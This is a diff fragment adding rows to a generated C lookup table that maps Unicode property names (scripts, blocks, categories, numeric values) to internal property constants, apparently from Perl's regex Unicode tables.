+  {    26,  5245,  3581,  13,   2, PL_POSIXXDIGIT }   /* asciihexdigit=t */,
+  {     8,  8783,  7768,   3,   6, -PL_CWU }   /* cwu=false */,
+  {     2,  4923,  5935,   4,  10, PL_INMASARAMGONDI }   /* inmasaramgondi */,
+  {     0,  7136,  6863,   6,   9, PL_ARABICPFA }   /* block=arabicpfa */,
+  {    42,  3129,  8516,  17,   4, PL_SGNW }   /* scriptextensions=sgnw */,
+  {     0,  8332,  1614,   4,  21, PL_SHORTHANDFORMATCONTROLS }   /* inshorthandformatcontrols */,
+  {     0,  7487,  3521,   5,   5, PL_XPOSIXSPACE }   /* xperlspace */,
+  {     5,  6613,  3300,   3,   3, PL_HAN }   /* ishani */,
+  {     4,  7136,  1282,   6,  10, PL_CJKSYMBOLS }   /* block=cjksymbols */,
+  {     2,  2859,  4188,  18,   6, PL_DT__MED }   /* decompositiontype=medial */,
+  {     2,  7136,  3994,   6,   9, PL_SYRIACSUP }   /* block=syriacsup */,
+  {     1,  6706,  8876,  10,   3, PL_IN__6_DOT_1 }   /* presentin=v61 */,
+  {     0,    21,  6944,   2,   9, PL_LATINEXTC }   /* inlatinextc */,
+  {     1,  7288,     7,   7,  18, PL_CANS }   /* script=canadianaboriginal */,
+  {     3,  6613,     8,   3,   2, PL_HAN }   /* ishan */,
+  {     1,  8096,  4010,   4,   4, PL_TANG }   /* scx=tang */,
+  {     0,   184,  1589,   2,   9, PL_LATINEXTE }   /* islatinexte */,
+  {     1,  7136,  7401,   6,   7, PL_CJKEXTC }   /* block=cjkextc */,
+  {     8,  2985,  7951,   3,   5, PL_IDS }   /* ids=true */,
+  {     1,  8096,  2787,   4,   4, PL_CHER }   /* scx=cher */,
+  {     0,   122,  7997,   9,   4, PL_DIA }   /* diacritic=yes */,
+  {     0,  6890,  6626,   4,  10, PL_INKHAROSHTHI }   /* blk=kharoshthi */,
+  {     0,  6890,  7822,   4,   6, PL_INHATRAN }   /* blk=hatran */,
+  {     2,  7459,  7208,   3,   8, PL_SC__HIRA }   /* sc=hiragana */,
+  {     0,  7136,  7639,   6,   7, PL_INTAITHAM }   /* block=taitham */,
+  {     1,    84,  7768,   4,   2, -PL_MATH }   /* math=f */,
+  {    24,   849,     0,  14,   0, PL_PUA }   /* privateusearea */,
+  {     5,  7224,  6484,   3,  10, PL_XIDC }   /* isxidcontinue */,
+  {     4,  5765,  3581,  12,   2, PL_GRBASE }   /* graphemebase=t */,
+  {     0,  6890,  7450,   4,   7, PL_INHANUNOO }   /* blk=hanunoo */,
+  {     4,  7136,  1543,   6,  23, PL_GEOMETRICSHAPESEXT }   /* block=geometricshapesextended */,
+  {     0,   974,  8640,  24,   2, PL_CCC__18 }   /* canonicalcombiningclass=18 */,
+  {     0,  5544,  8655,  13,   2, PL_NV__33 }   /* numericvalue=33 */,
+  {     1,  6566,     0,  10,   0, PL_BOXDRAWING }   /* boxdrawing */,
+  {     0,  8196,  8885,   4,   3, PL_AGE__7 }   /* age=v70 */,
+  {     0,  6613,  2815,   3,   8, PL_HALFMARKS }   /* ishalfmarks */,
+  {     6,  7288,  7152,   7,   4, PL_SC__DUPL }   /* script=dupl */,
+  {     3,  1887,  3223,   5,   3, -PL_XPOSIXLOWER }   /* lower=no */,
+  {     0,  8096,  7034,   4,   4, PL_PALM }   /* scx=palm */,
+  {     2,  2108,  1379,   3,  23, PL_HIGHPUSURROGATES }   /* inhighprivateusesurrogates */,
+  {     0,  8096,  2967,   4,   8, PL_GEOR }   /* scx=georgian */,
+  {    69,  7506,     0,   7,   0, PL_LINA }   /* lineara */,
+  {     0,  7689,  3596,   4,  14, PL_ARABICSUP }   /* isarabicsupplement */,
+  {     0,  8816,  8172,   3,   4, PL_NV__3_SLASH_16 }   /* nv=3/16 */,
+  {     1,  8096,  7208,   4,   8, PL_HIRA }   /* scx=hiragana */,
+  {     0,  8376,  6175,   3,  11, PL_LB__EX }   /* lb=exclamation */,
+  {     1,  8096,  2249,   4,  10, PL_GLAG }   /* scx=glagolitic */,
+  {     1,  8780,  3223,   3,   3, -PL_CWT }   /* cwt=no */,
+  {     2,  7380,  8901,   4,   2, PL_CCC__36 }   /* ccc=36 */,
+  {     1,  6219,  7951,  11,   5, PL_JOINC }   /* joincontrol=true */,
+  {     1,  8496,     0,   4,   0, PL_SAMR }   /* samr */,
+  {     0,  6210,   691,   3,  15, PL_CUNEIFORMNUMBERS }   /* incuneiformnumbers */,
+  {     2,   184,   661,   3,  29, PL_CJKEXTF }   /* iscjkunifiedideographsextensionf */,
+  {     0,  1417,  5037,   9,  14, PL_SK }   /* category=modifiersymbol */,
+  {     8,  2108,  1084,   5,  23, PL_HALFANDFULLFORMS }   /* inhalfwidthandfullwidthforms */,
+  {     2,   184,  8348,   2,   4, PL_KALI }   /* iskali */,
+  {     0,    21,  7900,   2,   6, PL_INREJANG }   /* inrejang */,
+  {     2,  6890,  5336,   4,   8, PL_GREEKEXT }   /* blk=greekext */,
+  {     3,   184,  2484,   2,  19, PL_EGYP }   /* isegyptianhieroglyphs */,
+  {     3,  8026,  6686,   5,  10, PL_INPC__OVERSTRUCK }   /* inpc=overstruck */,
+  {    11,  8276,  7951,   4,   5, PL_CWCM }   /* cwcm=true */,
+  {    16,  6263,  2163,  10,   2, PL_LB__GL }   /* linebreak=gl */,
+  {     0,  1448,   385,   5,  30, PL_SUPSYMBOLSANDPICTOGRAPHS }   /* insupplementalsymbolsandpictographs */,
+  {     6,  8096,  7555,   4,   7, PL_OLCK }   /* scx=olchiki */,
+  {     2,  6890,   808,   4,  28, PL_PHONETICEXTSUP }   /* blk=phoneticextensionssupplement */,
+  {     4,  7459,  7429,   3,   7, PL_DSRT }   /* sc=deseret */,
+  {     0,    21,  5388,   2,  13, PL_KANAEXTA }   /* inkanaextendeda */,
+  {     1,  3129,  7660,  17,   4, PL_TIRH }   /* scriptextensions=tirh */,
+  {     0,  8011,     1,   3,   1, PL_N }   /* gc=n */,
+  {     1,  7136,  8116,   6,   5, PL_INTAMIL }   /* block=tamil */,
+  {     4,  7918,     0,   4,   0, PL_THAA }   /* thaa */,
+  {     5,  8061,     0,   5,   0, PL_OGAM }   /* ogham */,
+  {     1,  3674,     0,   7,   0, PL_CPRT }   /* cypriot */,
+  {     1,  7288,  8452,   7,   4, PL_SC__ORYA }   /* script=orya */,
+  {     0,  7621,     0,   3,   0, PL_PUA }   /* pua */,
+  {     5,  3129,  4299,  17,  15, PL_ARMI }   /* scriptextensions=imperialaramaic */,
+  {     0,  4449,  7998,  14,   3, PL_NFCQC__Y }   /* nfcquickcheck=yes */,
+  {     6,  8822,  3223,   3,   2, -PL_PCM }   /* pcm=n */,
+  {     4,  7136,  3994,   6,  16, PL_SYRIACSUP }   /* block=syriacsupplement */,
+  {     0,  3373,  6845,  15,   9, PL_EA__A }   /* eastasianwidth=ambiguous */,
+  {     2,   184,  2877,   2,  13, PL_DEVANAGARIEXT }   /* isdevanagariext */,
+  {     0,  7380,    18,   4,   1, PL_CCC__R }   /* ccc=r */,
+  {     0,  6219,  7997,  11,   2, PL_JOINC }   /* joincontrol=y */,
+  {     8,  6263,  8929,  10,   2, PL_GCB__V }   /* linebreak=jv */,
+  {     1,  1691,     0,  11,   0, PL_NUMBERFORMS }   /* numberforms */,
+  {     1,  8572,  4561,   3,   2, PL_WB__EB }   /* wb=eb */,
+  {     2,  4314,  7930,  13,   6, PL_JG__YUDHHE }   /* joininggroup=yudhhe */,
+  {     0,  8096,  5957,   4,  12, PL_MEND }   /* scx=mendekikakui */,
+  {     0,  4554,  8935,  14,   2, PL_SB__XX }   /* sentencebreak=xx */,
+  {     0,  3129,  4784,  17,   4, PL_CHAM }   /* scriptextensions=cham */,
+  {     2,  3129,  8408,  17,   3, PL_MRO }   /* scriptextensions=mro */,
+  {     0,  1746,  3985,  21,   9, PL_LB__EM }   /* graphemeclusterbreak=emodifier */,
+  {    12,  1474,    17,  22,   1, PL_BPT__O }   /* bidipairedbrackettype=o */,
+  {     5,  4923,  5429,   4,   7, PL_INMALAYALAM }   /* inmalayalam */,
+  {     3,  1543,     0,  15,   0, PL_GEOMETRICSHAPES }   /* geometricshapes */,
+  {     2,  3994,     0,   9,   0, PL_SYRIACSUP }   /* syriacsup */,
+  {     1,  7380,  8916,   4,   2, PL_CCC__84 }   /* ccc=84 */,
+  {     0,  1184,  7768,  25,   2, -PL_DI }   /* defaultignorablecodepoint=f */,
+  {     0,  2985,  7997,   4,   4, PL_IDST }   /* idst=yes */,
+  {     0,  7136,  2409,   7,   5, PL_INBRAHMI }   /* block=brahmi */,
+  {     2,  8096,  2107,   4,   4, PL_SINH }   /* scx=sinh */,
+  {    13,  6706,  8843,  10,   3, PL_IN__2 }   /* presentin=v20 */,
+  {     1,   436,     0,   5,   0, PL_NCHAR }   /* nchar */,
+  {     4,  2229,  8932,  17,   1, PL_L_AMP_ }   /* generalcategory=l& */,
+  {     0,  8011,  5401,   3,  13, PL_ZL }   /* gc=lineseparator */,
+  {     1,  4314,  3812,  13,   3, PL_JG__LAM }   /* joininggroup=lam */,
+  {     1,  7459,  8444,   3,   4, PL_OLCK }   /* sc=olck */,
+  {     0,  8096,  5427,   4,   9, PL_MLYM }   /* scx=malayalam */,
+  {     6,   206,     0,   2,   0, PL_PI }   /* pi */,
+  {     6,  7288,  2249,   7,  10, PL_SC__GLAG }   /* script=glagolitic */,
+  {     5,  7136,  4284,   6,  15, PL_INHANGUL }   /* block=hangulsyllables */,
+  {     4,  3129,  7780,  17,   6, PL_CARI }   /* scriptextensions=carian */,
+  {     5,  2985,  7768,   4,   6, -PL_IDST }   /* idst=false */,
+  {    28,   184,  8244,   2,   4, PL_BHKS }   /* isbhks */,
+  {    14,  8816,  8771,   3,   3, PL_NV__9_SLASH_2 }   /* nv=9/2 */,
+  {     0,  7459,  7604,   3,   4, PL_SIDD }   /* sc=sidd */,
+  {     6,  1448,  3995,   3,   8, PL_SYRIACSUP }   /* insyriacsup */,
+  {    10,  7906,  7847,   4,   5, PL_SC__KTHI }   /* sc=kaithi */,
+  {     2,  4542,  7919,   3,   5, PL_THAA }   /* isthaana */,
+  {     8,  7478,  7591,   3,   6, PL_SHRD }   /* issharada */,
+  {     0,  7478,  7619,   3,   6, PL_SUPPUAA }   /* issuppuaa */,
+  {     0,  8096,  4299,   4,  15, PL_ARMI }   /* scx=imperialaramaic */,
+  {     1,  7288,  7660,   7,   4, PL_SC__TIRH }   /* script=tirh */,
+  {     0,  7136,     0,   6,  34, PL_UCAS }   /* block=unifiedcanadianaboriginalsyllabics */,
+  {     0,  2229,     1,  16,   1, PL_N }   /* generalcategory=n */,
+  {     2,  7459,  7248,   3,   8, PL_SC__JAVA }   /* sc=javanese */,
+  {     0,  6890,  6696,   4,  10, PL_INPHOENICIAN }   /* blk=phoenician */,
+  {     0,  2229,  4569,  16,  15, PL_LT }   /* generalcategory=titlecaseletter */,
+  {     5,  5544,  5219,  13,  11, PL_NV__10000000000 }   /* numericvalue=10000000000 */,
+  {     7,  5284,  7768,  13,   6, -PL_CI }   /* caseignorable=false */,
+  {     0,   184,    38,   2,   2, PL_XPOSIXDIGIT }   /* isnd */,
+  {     0,  7459,  2484,   3,   4, PL_EGYP }   /* sc=egyp */,
+  {     2,  2100,  8072,   3,   4, PL_OSGE }   /* isosage */,
+  {     8,   184,  3340,   3,  16, PL_CYRILLICEXTB }   /* iscyrillicextendedb */,
+  {     7,  1354,  7997,  24,   4, PL_COMPEX }   /* fullcompositionexclusion=yes */,
+  {     0,  7136,    42,   6,  26, PL_CJKCOMPATIDEOGRAPHS }   /* block=cjkcompatibilityideographs */,
+  {     0,  6890,  1497,   4,  14, PL_BYZANTINEMUSIC }   /* blk=byzantinemusic */,
+  {     0,  8101,  7997,   5,   4, PL_STERM }   /* sterm=yes */,
+  {     0,  3129,  8111,  17,   4, PL_TAKR }   /* scriptextensions=takr */,
+  {     0,  7288,  8520,   7,   4, PL_SHAW }   /* script=shaw */,
+  {     0,  8816,  8160,   3,   2, PL_NV__13 }   /* nv=13 */,
+  {     0,  6890,   510,   4,  30, PL_CJKEXTA }   /* blk=cjkunifiedideographsextensiona */,
+  {     7,  8288,  1209,   3,   5, PL_DT__SUP }   /* dt=super */,
+  {     6,  7459,  5825,   3,   4, PL_SC__MAHJ }   /* sc=mahj */,
+  {     0,  7136,  4105,   7,   7, PL_BAMUMSUP }   /* block=bamumsup */,
+  {     1,  6890,  7846,   4,   6, PL_INKAITHI }   /* blk=kaithi */,
+  {     2,  8011,   221,   3,   2, PL_L_AMP_ }   /* gc=l_ */,
+  {     2,  6210,  1982,   3,   7, PL_INCYRILLIC }   /* incyrillic */,
+  {     1,  5192,  3425,   3,   3, PL_IDSB }   /* isidsb */,
+  {     0,  7994,     0,   5,   0, PL_IDC }   /* idc=y */,
+  {    11,  6890,  3356,   4,  17, PL_CYRILLICEXTC }   /* blk=cyrillicextendedc */,
+  {     2,  7136,  4404,   6,  15, PL_INMEROITICCURSIVE }   /* block=meroiticcursive */,
+  {     7,  8196,  7710,   4,   1, PL_AGE__6 }   /* age=6 */,
+  {     1,  6890,  3850,   4,  16, PL_MISCMATHSYMBOLSA }   /* blk=miscmathsymbolsa */,
+  {    10,  4923,  7274,   4,   6, PL_INMAHAJANI }   /* inmahajani */,
+  {     9,   184,  2967,   2,   4, PL_GEOR }   /* isgeor */,
+  {     0,  8011,  3914,   3,  16, PL_PO }   /* gc=otherpunctuation */,
+  {     7,  8340,  8484,   3,   4, PL_JG__QAPH }   /* jg=qaph */,
+  {     9,  7459,  2636,   3,   4, PL_SC__MONG }   /* sc=mong */,
+  {     2,  4314,  3802,  13,  16, PL_JG__MANICHAEANLAMEDH }   /* joininggroup=manichaeanlamedh */,
+  {     5,    21,  7870,   2,   6, PL_INLEPCHA }   /* inlepcha */,
+  {     1,  2100,  7570,   3,   6, PL_OSMA }   /* isosmanya */,
+  {     2,  7136,  3021,   6,  18, PL_LATINEXTADDITIONAL }   /* block=latinextadditional */,
+  {     1,  7380,  8705,   4,   3, PL_CCC__IS }   /* ccc=240 */,
+  {    10,  5645,  2655,  10,  19, PL_BC__RLO }   /* bidiclass=righttoleftoverride */,
+  {     1,  6307,     0,  11,   0, PL_MYANMAREXTA }   /* myanmarexta */,
+  {     1,  7459,  6736,   3,   4, PL_SAUR }   /* sc=saur */,
+  {     1,  8011,  5037,   3,  14, PL_SK }   /* gc=modifiersymbol */,
+  {     1,  8096,  3458,   4,   4, PL_MANI }   /* scx=mani */,
+  {     1,  3656,     0,  18,   0, PL_PE }   /* isclosepunctuation */,
+  {     2,  6472,     0,  11,   1, PL_WB__NU }   /* wordbreak=nu */,
+  {     4,  7459,    78,   3,   4, PL_SC__ARAB }   /* sc=arab */,
+  {     0,   184,  1307,   3,  23, PL_DIACRITICALSFORSYMBOLS }   /* iscombiningmarksforsymbols */,
+  {     0,  7380,  8651,   7,   3, PL_CCC__132 }   /* ccc=ccc132 */,
+  {     0,  8894,  3212,   3,   7, PL_VO__U }   /* vo=upright */,
+  {     7,  8121,     0,   5,   0, PL_UIDEO }   /* uideo */,
+  {     0,   184,  5957,   2,  12, PL_MEND }   /* ismendekikakui */,
+  {     6,  7798,     0,   6,   0, PL_COMPEX }   /* compex */,
+  {     0,  8240,    32,   3,   2, PL_BC__CS }   /* bc=cs */,
+  {     0,  7226,    96,   6,   5, PL_XPOSIXALPHA }   /* xposixalpha */,
+  {     2,  7459,  7660,   3,   4, PL_SC__TIRH }   /* sc=tirh */,
+  {     1,  7288,  1401,   7,   4, PL_SC__SIND }   /* script=sind */,
+  {     2,   184,  1543,   2,  18, PL_GEOMETRICSHAPESEXT }   /* isgeometricshapesext */,
+  {     1,  6613,  3707,   3,  15, PL_HALFANDFULLFORMS }   /* ishalfandfullforms */,
+  {     2,  6210,  4688,   3,  13, PL_CJKCOMPATFORMS }   /* incjkcompatforms */,
+  {     4,  7136,  1812,   6,  22, PL_TRANSPORTANDMAP }   /* block=transportandmapsymbols */,
+  {     2,  4134,     0,  15,   0, PL_BRAI }   /* braillepatterns */,
+  {     0,  8196,  7750,   4,   1, PL_AGE__8 }   /* age=8 */,
+  {     0,   184,     0,   4,   0, PL_CE }   /* isce */,
+  {     4,  5192,  2986,   3,   3, PL_IDST }   /* isidst */,
+  {     0,  7136,   808,   6,  28, PL_PHONETICEXTSUP }   /* block=phoneticextensionssupplement */,
+  {     0,  8508,  3755,   4,   6, PL_SC__LINB }   /* sc=linearb */,
+  {    17,    21,  1107,   2,   8, PL_INKATAKANA }   /* inkatakana */,
+  {     1,  2236,  4330,  10,  14, PL_LL }   /* category=lowercaseletter */,
+  {     1,  8196,  8849,   4,   3, PL_AGE__3 }   /* age=v30 */,
+  {     2,  8096,  6005,   4,  12, PL_HUNG }   /* scx=oldhungarian */,
+  {     3,  1160,     0,   4,   0, PL_HANG }   /* hang */,
+  {    10,  8340,  5440,   3,  13, PL_JG__MALAYALAMNNNA }   /* jg=malayalamnnna */,
+  {     5,  1918,     0,  21,   0, PL_CWU }   /* changeswhenuppercased */,
+  {     4,  6296,     0,  11,   0, PL_MISCSYMBOLS }   /* miscsymbols */,
+  {     3,  5134,    25,   3,   1, PL_PS }   /* isps */,
+  {     0,  5079,     0,  14,   0, PL_MN }   /* nonspacingmark */,
+  {     1,   122,  3223,   9,   2, -PL_DIA }   /* diacritic=n */,
+  {     9,  5657,  7997,   5,   2, PL_BIDIM }   /* bidim=y */,
+  {     0,  6890,  1506,   4,  14, PL_MUSIC }   /* blk=musicalsymbols */,
+  {     0,    96,  3223,  10,   3, -PL_XPOSIXALPHA }   /* alphabetic=no */,
+  {     2,   184,  2360,   2,   4, PL_MAND }   /* ismand */,
+  {    27,   966,     0,   2,   0, PL_NO }   /* no */,
+  {     0,  7136,  1107,   6,   8, PL_INKATAKANA }   /* block=katakana */,
+  {     0,  6890,  1981,   4,  21, PL_CYRILLICSUP }   /* blk=cyrillicsupplementary */,
+  {    10,   186,     0,   2,   0, PL_CE }   /* ce */,
+  {     0,  7457,  5205,   5,  14, PL_INSC__VOWELDEPENDENT }   /* insc=voweldependent */,
+  {     1,  1503,   721,   3,  29, PL_ENCLOSEDALPHANUMSUP }   /* inenclosedalphanumericsupplement */,
+  {     0,  7459,  2877,   3,  10, PL_SC__DEVA }   /* sc=devanagari */,
+  {    16,  8340,  3786,   3,  16, PL_JG__MANICHAEANDALETH }   /* jg=manichaeandaleth */,
+  {     2,  5134,   469,   3,   4, PL_P }   /* ispunct */,
+  {     6,  6890,    78,   4,   6, PL_INARABIC }   /* blk=arabic */,
+  {     0,  7459,  6806,   3,  10, PL_WARA }   /* sc=warangciti */,
+  {    24,   184,  7986,   2,   5, PL_XPOSIXBLANK }   /* isblank */,
+  {     0,  6890,   448,   5,  17, PL_IDEOGRAPHICSYMBOLS }   /* blk=ideographicsymbols */,
+  {     0,  8816,  7720,   3,   3, PL_NV__400 }   /* nv=400 */,
+  {     1,  6890,  7366,   4,   7, PL_INBENGALI }   /* blk=bengali */,
+  {     0,  8340,  5921,   3,  12, PL_JG__MANICHAEANPE }   /* jg=manichaeanpe */,
+  {    26,  8376,    34,   3,   2, PL_LB__EX }   /* lb=ex */,
+  {     4,    21,  8388,   2,   4, PL_LISU }   /* inlisu */,
+  {     1,  7894,  3223,   6,   2, -PL_PATSYN }   /* patsyn=n */,
+  {     4,  6890,  8432,   4,   3, PL_INNKO }   /* blk=nko */,
+  {     0,  2754,   923,   5,  24, PL_ALPHABETICPF }   /* inalphabeticpresentationforms */,
+  {     0,  8816,  7936,   3,   4, PL_NV__1_SLASH_16 }   /* nv=1/16 */,
+  {     1,  4314,  3458,  13,  17, PL_JG__MANICHAEANDHAMEDH }   /* joininggroup=manichaeandhamedh */,
+  {     0,  8816,  7744,   3,   1, PL_NV__7 }   /* nv=7 */,
+  {     2,  7288,  7436,   7,   4, PL_ELBA }   /* script=elba */,
+  {     0,  4314,  8512,  13,   4, PL_JG__SEEN }   /* joininggroup=seen */,
+  {     1,  2750,  7768,   4,   6, -PL_TERM }   /* term=false */,
+  {     0,  8288,  3690,   3,   3, PL_DT__FIN }   /* dt=fin */,
+  {     1,  7696,  7997,   6,   2, PL_XPOSIXSPACE }   /* wspace=y */,
+  {    20,  3516,  3223,  10,   3, -PL_XPOSIXSPACE }   /* whitespace=no */,
+  {     5,  1746,  3914,  21,   5, PL_GCB__XX }   /* graphemeclusterbreak=other */,
+  {     2,  1417,  3914,   9,   5, PL_C }   /* category=other */,
+  {     4,  7136,   720,   6,  21, PL_ENCLOSEDALPHANUM }   /* block=enclosedalphanumerics */,
+  {     3,   122,  7768,   9,   6, -PL_DIA }   /* diacritic=false */,
+  {     1,  7689,  2390,   3,  18, PL_ANCIENTGREEKNUMBERS }   /* isancientgreeknumbers */,
+  {     0,  7136,  7992,   7,   4, PL_INBUHID }   /* block=buhid */,
+  {     2,  5645,  7768,   5,   6, -PL_BIDIC }   /* bidic=false */,
+  {     1,  6890,  7061,   4,   9, PL_INSAMARITAN }   /* blk=samaritan */,
+  {     9,  6263,  5669,  10,  12, PL_LB__SY }   /* linebreak=breaksymbols */,
+  {     0,  2859,  5969,  18,   8, PL_DT__NONCANON }   /* decompositiontype=noncanon */,
+  {     1,  8196,  8708,   4,   3, PL_AGE__3 }   /* age=3.0 */,
+  {     4,  8192,     0,   4,   0, PL_ADLM }   /* adlm */,
+  {     0,  6613,  7209,   3,   7, PL_HIRA }   /* ishiragana */,
+  {     0,  7986,     0,   5,   0, PL_XPOSIXBLANK }   /* blank */,
+  {    16,  1897,  7997,  21,   4, PL_CWT }   /* changeswhentitlecased=yes */,
+  {     1,  1402,  2355,  24,  14, PL_INPC__BOTTOMANDRIGHT }   /* indicpositionalcategory=bottomandright */,
+  {     2,  6109,     7,  10,   1, PL_XPOSIXCNTRL }   /* category=cc */,
+  {     2,  7136,  2787,   6,   8, PL_INCHEROKEE }   /* block=cherokee */,
+  {     2,  8528,     0,   4,   0, PL_SYRC }   /* syrc */,
+  {     5,  5657,  3223,  12,   2, -PL_BIDIM }   /* bidimirrored=n */,
+  {    13,  3129,  8384,  17,   4, PL_LINB }   /* scriptextensions=linb */,
+  {     1,  6706,  8861,  10,   3, PL_IN__4_DOT_1 }   /* presentin=v41 */,
+  {     4,  5544,  7744,  13,   1, PL_NV__7 }   /* numericvalue=7 */,
+  {     4,  8816,  7756,   3,   1, PL_NV__9 }   /* nv=9 */,
+  {     3,  1448,  3544,   3,  16, PL_SMALLFORMS }   /* insmallformvariants */,
+  {     0,  1908,     0,   9,   0, PL_LT }   /* titlecase */,
+  {     6,  7459,  8111,   3,   4, PL_SC__TAKR }   /* sc=takr */,
+  {     1,  8240,  3075,   3,  18, PL_BC__B }   /* bc=paragraphseparator */,
+  {     0,   184,  7876,   2,   4, PL_LYCI }   /* islyci */,
+  {     5,  6890,  2967,   4,   8, PL_INGEORGIAN }   /* blk=georgian */,
+  {     5,   184,  5657,   2,  12, PL_BIDIM }   /* isbidimirrored */,
+  {     0,  6208,  7768,   5,   2, -PL_JOINC }   /* joinc=f */,
+  {     1,  7288,  7152,   7,   8, PL_SC__DUPL }   /* script=duployan */,
+  {     0,  4198,  1545,   4,  16, PL_GEOMETRICSHAPESEXT }   /* ingeometricshapesext */,
+  {     0,  8276,  3581,   4,   2, PL_CWCM }   /* cwcm=t */,
+  {     2,  5645,  5633,  10,  12, PL_BC__AN }   /* bidiclass=arabicnumber */,
+  {    15,  1206,  7919,   3,   5, PL_INTHAANA }   /* inthaana */,
+  {     5,  6890,  2841,   4,  18, PL_COPTICEPACTNUMBERS }   /* blk=copticepactnumbers */,
+  {    19,  6241,     0,  11,   0, PL_KATAKANAEXT }   /* katakanaext */,
+  {     0,  7288,  4135,   8,   6, PL_BRAI }   /* script=braille */,
+  {    36,  8340,  5837,   3,  12, PL_JG__MALAYALAMBHA }   /* jg=malayalambha */,
+  {     0,  1209,     0,  25,   0, PL_SUPERANDSUB }   /* superscriptsandsubscripts */,
+  {     4,  6890,  4269,   4,  15, PL_DIACRITICALSSUP }   /* blk=diacriticalssup */,
+  {     1,  8011,    45,   3,   2, PL_CO }   /* gc=co */,
+  {     1,   436,  3581,   5,   2, PL_NCHAR }   /* nchar=t */,
+  {     2,  3129,  2841,  17,   4, PL_COPT }   /* scriptextensions=copt */,
+  {     0,  1417,  8939,   9,   2, PL_ZP }   /* category=zp */,
+  {     0,  8196,  8891,   4,   3, PL_AGE__9 }   /* age=v90 */,
+  {     7,  7136,  6746,   6,  10, PL_SMALLFORMS }   /* block=smallforms */,
+  {    17,  8816,  7726,   3,   2, PL_NV__43 }   /* nv=43 */,
+  {     5,  4784,     0,   4,   0, PL_CHAM }   /* cham */,
+  {     1,  7136,  2787,   6,  18, PL_CHEROKEESUP }   /* block=cherokeesupplement */,
+  {     2,  8894,  3194,   3,   7, PL_VO__R }   /* vo=rotated */,
+  {     0,  6483,  7951,  11,   5, PL_XIDC }   /* xidcontinue=true */,
+  {     0,  7459,  2598,   3,  19, PL_MERO }   /* sc=meroitichieroglyphs */,
+  {    11,  5544,  8911,  13,   2, PL_NV__46 }   /* numericvalue=46 */,
+  {     1,  5544,  8621,  13,   3, PL_NV__1_SLASH_6 }   /* numericvalue=1/6 */,
+  {     0,  3373,  4127,  15,   7, PL_EA__N }   /* eastasianwidth=neutral */,
+  {     0,   184,  6076,   2,  11, PL_BIDIC }   /* isbidicontrol */,
+  {     1,  8516,     0,   4,   0, PL_SGNW }   /* sgnw */,
+  {     0,  7380,  8688,   7,   2, PL_CCC__26 }   /* ccc=ccc26 */,
+  {     4,  2990,    80,   4,   8, PL_ARABICMATH }   /* inarabicmath */,
+  {     7,  8340,  8334,   3,   4, PL_JG__SHIN }   /* jg=shin */,
+  {    35,  6263,  1479,  10,   2, PL_LB__AI }   /* linebreak=ai */,
+  {     0,  6890,  6029,   4,  12, PL_PHAISTOS }   /* blk=phaistosdisc */,
+  {    20,  7380,  7944,   4,   2, PL_CCC__12 }   /* ccc=12 */,
+  {     0,  1892,  7768,   5,   2, -PL_CASED }   /* cased=f */,
+  {     2,  1589,     0,   5,   0, PL_LATN }   /* latin */,
+  {     1,  7828,  3223,   6,   3, -PL_HYPHEN }   /* hyphen=no */,
+  {     0,  6329,  7088,  11,   8, PL_XPOSIXDIGIT }   /* numerictype=decimal */,
+  {     1,  4464,  7996,   4,   5, PL_NFDQC__Y }   /* nfdqc=yes */,
+  {     0,  1282,     0,  10,   0, PL_CJKSYMBOLS }   /* cjksymbols */,
+  {     1,  6208,  3581,   5,   2, PL_JOINC }   /* joinc=t */,
+  {     3,  6263,    73,  10,   2, PL_LB__EM }   /* linebreak=em */,
+  {     7,  8096,  8352,   4,   4, PL_KHMR }   /* scx=khmr */,
+  {     1,  8026,  5122,   3,  13, PL_INPSALTERPAHLAVI }   /* inpsalterpahlavi */,
+  {     1,   974,  8693,  24,   3, PL_CCC__A }   /* canonicalcombiningclass=230 */,
+  {     3,  7224,  1929,   8,   5, PL_XPOSIXUPPER }   /* isxposixupper */,
+  {     0,  1448,  6747,   3,   9, PL_SMALLFORMS }   /* insmallforms */,
+  {    35,  5968,  7008,   3,   8, PL_INOLDITALIC }   /* inolditalic */,
+  {     0,  4314,  8484,  13,   4, PL_JG__QAPH }   /* joininggroup=qaph */,
+  {     0,   184,  8412,   2,   4, PL_MTEI }   /* ismtei */,
+  {     2,  7459,  7104,   3,   8, PL_SC__ARMN }   /* sc=armenian */,
+  {     8,  8096,  4010,   4,   6, PL_TANG }   /* scx=tangut */,
+  {     5,  8572,   138,   3,   2, PL_WB__FO }   /* wb=fo */,
+  {     2,  5968,  6677,   3,   9, PL_INOLDPERSIAN }   /* inoldpersian */,
+  {    18,  8196,  6796,   4,  10, PL_AGE__NA }   /* age=unassigned */,
+  {     0,  8026,  7584,   3,   6, PL_INPHAGSPA }   /* inphagspa */,
+  {     0,  8196,  8840,   4,   3, PL_IN__1_DOT_1 }   /* age=v11 */,
+  {     5,   184,   698,   2,   2, PL_MN }   /* ismn */,
+  {     0,  7555,     0,   7,   0, PL_OLCK }   /* olchiki */,
+  {     6,  7459,     7,   3,  18, PL_CANS }   /* sc=canadianaboriginal */,
+  {    10,  6890,  7639,   4,   7, PL_INTAITHAM }   /* blk=taitham */,
+  {     0,  8376,    83,   3,   2, PL_LB__CM }   /* lb=cm */,
+  {     3,  1426,  4164,  22,  15, PL_INSC__CONSONANTKILLER }   /* indicsyllabiccategory=consonantkiller */,
+  {    52,  8816,  7732,   3,   3, PL_NV__500 }   /* nv=500 */,
+  {     3,  8340,  5065,   3,  14, PL_JG__NOJOININGGROUP }   /* jg=nojoininggroup */,
+  {     0,   184,  7416,   3,   6, PL_CJKEXTE }   /* iscjkexte */,
+  {     0,  8240,  4119,   3,  15, PL_BC__BN }   /* bc=boundaryneutral */,
+  {    12,  2859,   568,  18,   2, PL_DT__NB }   /* decompositiontype=nb */,
+  {     7,  6263,  7828,  10,   2, PL_LB__HY }   /* linebreak=hy */,
+  {     3,  6890,    42,   4,  16, PL_CJKCOMPAT }   /* blk=cjkcompatibility */,
+  {     0,    21,  4660,   3,  13, PL_ANCIENTSYMBOLS }   /* inancientsymbols */,
+  {     3,  8777,  3223,   3,   3, -PL_CWL }   /* cwl=no */,
+  {     0,  8096,  8544,   4,   4, PL_TAVT }   /* scx=tavt */,
+  {     1,  8276,  7768,   4,   6, -PL_CWCM }   /* cwcm=false */,
+  {     0,   974,  8916,  24,   2, PL_CCC__84 }   /* canonicalcombiningclass=84 */,
+  {     0,  7136,  7145,   7,   7, PL_INBUGINESE }   /* block=buginese */,
+  {     3,  7136,  7583,   6,   7, PL_INPHAGSPA }   /* block=phagspa */,
